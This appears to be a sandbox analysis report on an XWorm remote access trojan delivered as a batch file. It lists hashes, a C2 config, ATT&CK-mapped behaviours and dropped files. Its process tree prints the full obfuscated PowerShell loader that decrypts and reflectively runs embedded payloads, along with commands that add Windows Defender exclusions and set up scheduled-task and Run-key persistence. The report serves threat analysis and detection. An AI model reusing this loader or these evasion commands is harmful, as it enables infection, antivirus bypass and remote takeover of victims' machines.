xworm | 600d8b10815dc68ec508f75fa7b72eea73bfa63719530281bb25cee3af5555a1

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
26/05/2024, 01:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
multi_tools_v5.bat
Size 162KB
Sample240526-bsehdsad64
SHA256 600d8b10815dc68ec508f75fa7b72eea73bfa63719530281bb25cee3af5555a1
MD5 b9c78fdb54ac4c0edfc496d0787ded87
SHA1 0345a979b612554c95efba49c51751d45a2b4065
SHA512 0cfa3e24731c31b59c2c1211ef0a827dea37ef4f5225a8d2747b1b89a8bfb8a4d963a92ab656ed2d8b87693409ec7d74dd723cfa83fea84af1d894fbcd4dc3e6
SSDEEP 3072:pGGDOEkb+1yd+/xwr5Txg1uf6tEP2PZPv35iGIKMJdaz92bcz:pGGiEa+YdH5i1ufupZ33EGIKMAkbcz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

Thecoolboi991-51392.portmap.io:8080

Mutex

p5890lIR4RrQyjsq

Attributes

Install_directory
%AppData%
install_file
XClient.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1800-50-0x000001D282690000-0x000001D2826A2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 16 IoCs

flow	pid	Process
28	1800	powershell.exe
37	1800	powershell.exe
39	1800	powershell.exe
50	1800	powershell.exe
51	1800	powershell.exe
52	1800	powershell.exe
53	1800	powershell.exe
61	1800	powershell.exe
62	1800	powershell.exe
63	1800	powershell.exe
70	1800	powershell.exe
78	1800	powershell.exe
79	1800	powershell.exe
80	1800	powershell.exe
81	1800	powershell.exe
82	1800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4248	powershell.exe
1412	powershell.exe
2236	powershell.exe
4992	powershell.exe
3588	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3148	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1612	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1800	powershell.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
228	powershell.exe
228	powershell.exe
3588	powershell.exe
3588	powershell.exe
1800	powershell.exe
1800	powershell.exe
4992	powershell.exe
4992	powershell.exe
4248	powershell.exe
4248	powershell.exe
1412	powershell.exe
1412	powershell.exe
2236	powershell.exe
2236	powershell.exe
1800	powershell.exe
3148	XClient.exe
3148	XClient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeIncreaseQuotaPrivilege	3588	powershell.exe
Token: SeSecurityPrivilege	3588	powershell.exe
Token: SeTakeOwnershipPrivilege	3588	powershell.exe
Token: SeLoadDriverPrivilege	3588	powershell.exe
Token: SeSystemProfilePrivilege	3588	powershell.exe
Token: SeSystemtimePrivilege	3588	powershell.exe
Token: SeProfSingleProcessPrivilege	3588	powershell.exe
Token: SeIncBasePriorityPrivilege	3588	powershell.exe
Token: SeCreatePagefilePrivilege	3588	powershell.exe
Token: SeBackupPrivilege	3588	powershell.exe
Token: SeRestorePrivilege	3588	powershell.exe
Token: SeShutdownPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeSystemEnvironmentPrivilege	3588	powershell.exe
Token: SeRemoteShutdownPrivilege	3588	powershell.exe
Token: SeUndockPrivilege	3588	powershell.exe
Token: SeManageVolumePrivilege	3588	powershell.exe
Token: 33	3588	powershell.exe
Token: 34	3588	powershell.exe
Token: 35	3588	powershell.exe
Token: 36	3588	powershell.exe
Token: SeIncreaseQuotaPrivilege	3588	powershell.exe
Token: SeSecurityPrivilege	3588	powershell.exe
Token: SeTakeOwnershipPrivilege	3588	powershell.exe
Token: SeLoadDriverPrivilege	3588	powershell.exe
Token: SeSystemProfilePrivilege	3588	powershell.exe
Token: SeSystemtimePrivilege	3588	powershell.exe
Token: SeProfSingleProcessPrivilege	3588	powershell.exe
Token: SeIncBasePriorityPrivilege	3588	powershell.exe
Token: SeCreatePagefilePrivilege	3588	powershell.exe
Token: SeBackupPrivilege	3588	powershell.exe
Token: SeRestorePrivilege	3588	powershell.exe
Token: SeShutdownPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeSystemEnvironmentPrivilege	3588	powershell.exe
Token: SeRemoteShutdownPrivilege	3588	powershell.exe
Token: SeUndockPrivilege	3588	powershell.exe
Token: SeManageVolumePrivilege	3588	powershell.exe
Token: 33	3588	powershell.exe
Token: 34	3588	powershell.exe
Token: 35	3588	powershell.exe
Token: 36	3588	powershell.exe
Token: SeIncreaseQuotaPrivilege	3588	powershell.exe
Token: SeSecurityPrivilege	3588	powershell.exe
Token: SeTakeOwnershipPrivilege	3588	powershell.exe
Token: SeLoadDriverPrivilege	3588	powershell.exe
Token: SeSystemProfilePrivilege	3588	powershell.exe
Token: SeSystemtimePrivilege	3588	powershell.exe
Token: SeProfSingleProcessPrivilege	3588	powershell.exe
Token: SeIncBasePriorityPrivilege	3588	powershell.exe
Token: SeCreatePagefilePrivilege	3588	powershell.exe
Token: SeBackupPrivilege	3588	powershell.exe
Token: SeRestorePrivilege	3588	powershell.exe
Token: SeShutdownPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeSystemEnvironmentPrivilege	3588	powershell.exe
Token: SeRemoteShutdownPrivilege	3588	powershell.exe
Token: SeUndockPrivilege	3588	powershell.exe
Token: SeManageVolumePrivilege	3588	powershell.exe
Token: 33	3588	powershell.exe
Token: 34	3588	powershell.exe
Token: 35	3588	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1800	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 344	3412	cmd.exe	85
PID 3412 wrote to memory of 344	3412	cmd.exe	85
PID 3412 wrote to memory of 228	3412	cmd.exe	86
PID 3412 wrote to memory of 228	3412	cmd.exe	86
PID 228 wrote to memory of 3588	228	powershell.exe	88
PID 228 wrote to memory of 3588	228	powershell.exe	88
PID 228 wrote to memory of 2480	228	powershell.exe	92
PID 228 wrote to memory of 2480	228	powershell.exe	92
PID 2480 wrote to memory of 1844	2480	WScript.exe	93
PID 2480 wrote to memory of 1844	2480	WScript.exe	93
PID 1844 wrote to memory of 3476	1844	cmd.exe	97
PID 1844 wrote to memory of 3476	1844	cmd.exe	97
PID 1844 wrote to memory of 1800	1844	cmd.exe	98
PID 1844 wrote to memory of 1800	1844	cmd.exe	98
PID 1800 wrote to memory of 4992	1800	powershell.exe	104
PID 1800 wrote to memory of 4992	1800	powershell.exe	104
PID 1800 wrote to memory of 4248	1800	powershell.exe	106
PID 1800 wrote to memory of 4248	1800	powershell.exe	106
PID 1800 wrote to memory of 1412	1800	powershell.exe	108
PID 1800 wrote to memory of 1412	1800	powershell.exe	108
PID 1800 wrote to memory of 2236	1800	powershell.exe	110
PID 1800 wrote to memory of 2236	1800	powershell.exe	110
PID 1800 wrote to memory of 1612	1800	powershell.exe	114
PID 1800 wrote to memory of 1612	1800	powershell.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\multi_tools_v5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xrtaSW8PWCRgWE/6I1tXePRPpbLwTi67rDOEQoi4sBE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('warnjv0N6XUxS+k8aqLTqg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JfnIl=New-Object System.IO.MemoryStream(,$param_var); $FZuIY=New-Object System.IO.MemoryStream; $CLxLt=New-Object System.IO.Compression.GZipStream($JfnIl, [IO.Compression.CompressionMode]::Decompress); $CLxLt.CopyTo($FZuIY); $CLxLt.Dispose(); $JfnIl.Dispose(); $FZuIY.Dispose(); $FZuIY.ToArray();}function execute_function($param_var,$param2_var){ $hcVhn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IzrJD=$hcVhn.EntryPoint; $IzrJD.Invoke($null, $param2_var);}$Azilh = 'C:\Users\Admin\AppData\Local\Temp\multi_tools_v5.bat';$host.UI.RawUI.WindowTitle = $Azilh;$CjAjw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Azilh).Split([Environment]::NewLine);foreach ($VygXy in $CjAjw) { if ($VygXy.StartsWith('QhYTOjGseIcUAhUdKNLy')) { $EATwC=$VygXy.Substring(20); break; }}$payloads_var=[string[]]$EATwC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_836_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3588
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1844
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xrtaSW8PWCRgWE/6I1tXePRPpbLwTi67rDOEQoi4sBE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('warnjv0N6XUxS+k8aqLTqg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JfnIl=New-Object System.IO.MemoryStream(,$param_var); $FZuIY=New-Object System.IO.MemoryStream; $CLxLt=New-Object System.IO.Compression.GZipStream($JfnIl, [IO.Compression.CompressionMode]::Decompress); $CLxLt.CopyTo($FZuIY); $CLxLt.Dispose(); $JfnIl.Dispose(); $FZuIY.Dispose(); $FZuIY.ToArray();}function execute_function($param_var,$param2_var){ $hcVhn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IzrJD=$hcVhn.EntryPoint; $IzrJD.Invoke($null, $param2_var);}$Azilh = 'C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat';$host.UI.RawUI.WindowTitle = $Azilh;$CjAjw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Azilh).Split([Environment]::NewLine);foreach ($VygXy in $CjAjw) { if ($VygXy.StartsWith('QhYTOjGseIcUAhUdKNLy')) { $EATwC=$VygXy.Substring(20); break; }}$payloads_var=[string[]]$EATwC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:3476
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        5⤵
        Blocklisted process makes network request
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1800
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4992
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4248
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1412
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2236
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:1612

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e053d1faabd6b36371f452e79cf70591cf45403a671746136a87198694a8fdb9
MD5 6b8559593a74eb3b15c53a9fac9a469f
SHA1 13af213d1417edf30c03f76f9242c1975b2e4e74
SHA512 699b11eda97866809b696c96304bc218d7b72623fd537f83721f36a6c617d854fda7b6f01f7cb0bc0d55189c386e9b9fe6d111bb7c76cce492572b0a9961e974
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6986cb144219063670c5ab9f3d06f0d88a88c51a1da0d90855eec56f8ab5a846
MD5 e343c4799d28ffa79fb0e2e37f7feac7
SHA1 9a9c6f86a322bd10fed79dbb77c62f2e293f2ec7
SHA512 2e43c5c55f90bf19a7464467ef7f4704ae5db388ca7b7105329052ba4993b50d171c053e3b665f6c5b08518373bcd65642fa8499aa3a9dab46bb79c522058990
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9
MD5 ecceac16628651c18879d836acfcb062
SHA1 420502b3e5220a01586c59504e94aa1ee11982c9
SHA512 be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
MD5 3db1c0d23daacf01eb99125ccc2787d3
SHA1 0849528de1ba411279231d635d8f39d54cc829d2
SHA512 3d84635a3395bca1d91ce182ccfb9e38c8da87ad678704673a72d580e4251cedc5a6b2a89040a172a5687b67952e74a13673bd115bce7bdabaed06f89323de5b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c
MD5 dd1d0b083fedf44b482a028fb70b96e8
SHA1 dc9c027937c9f6d52268a1504cbae42a39c8d36a
SHA512 96bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_pvzxe5re.bbf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvzxe5re.bbf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Windows_Log_836.bat

Path C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat
Size 162KB
SHA256 600d8b10815dc68ec508f75fa7b72eea73bfa63719530281bb25cee3af5555a1
MD5 b9c78fdb54ac4c0edfc496d0787ded87
SHA1 0345a979b612554c95efba49c51751d45a2b4065
SHA512 0cfa3e24731c31b59c2c1211ef0a827dea37ef4f5225a8d2747b1b89a8bfb8a4d963a92ab656ed2d8b87693409ec7d74dd723cfa83fea84af1d894fbcd4dc3e6
SSDEEP 3072:pGGDOEkb+1yd+/xwr5Txg1uf6tEP2PZPv35iGIKMJdaz92bcz:pGGiEa+YdH5i1ufupZ33EGIKMAkbcz
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows_Log_836.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs
Size 115B
SHA256 eefce19d725bf07194d15603377766d6f0927d0f304e2d90301d7a54a8dae3d1
MD5 d85454e0862b1512143bceb6afd8d094
SHA1 55b9161e07cd269706996194fd4c09349a376e4e
SHA512 90e0133bffdae73c9362a3a2054f2d6902973c69c06a8570850387c990247c5a9a9ca76f7e1cb992edacaf812d20cfd694948435aa7fff56bbddc072061cbce0
MD5 SHA1 SHA512

Submit Download

XClient.exe

Path C:\Users\Admin\AppData\Roaming\XClient.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/228-51-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/228-13-0x000001B2250A0000-0x000001B2250E4000-memory.dmp

Download

memory/228-8-0x000001B224CC0000-0x000001B224CE2000-memory.dmp

Download

memory/228-11-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/228-12-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/228-16-0x000001B225070000-0x000001B225090000-memory.dmp

Download

memory/228-14-0x000001B225170000-0x000001B2251E6000-memory.dmp

Download

memory/228-0-0x00007FFAF2173000-0x00007FFAF2175000-memory.dmp

Download

memory/228-15-0x000001B224E30000-0x000001B224E38000-memory.dmp

Download

memory/1800-50-0x000001D282690000-0x000001D2826A2000-memory.dmp

Download

memory/3588-32-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/3588-27-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/3588-28-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download

memory/3588-29-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

Download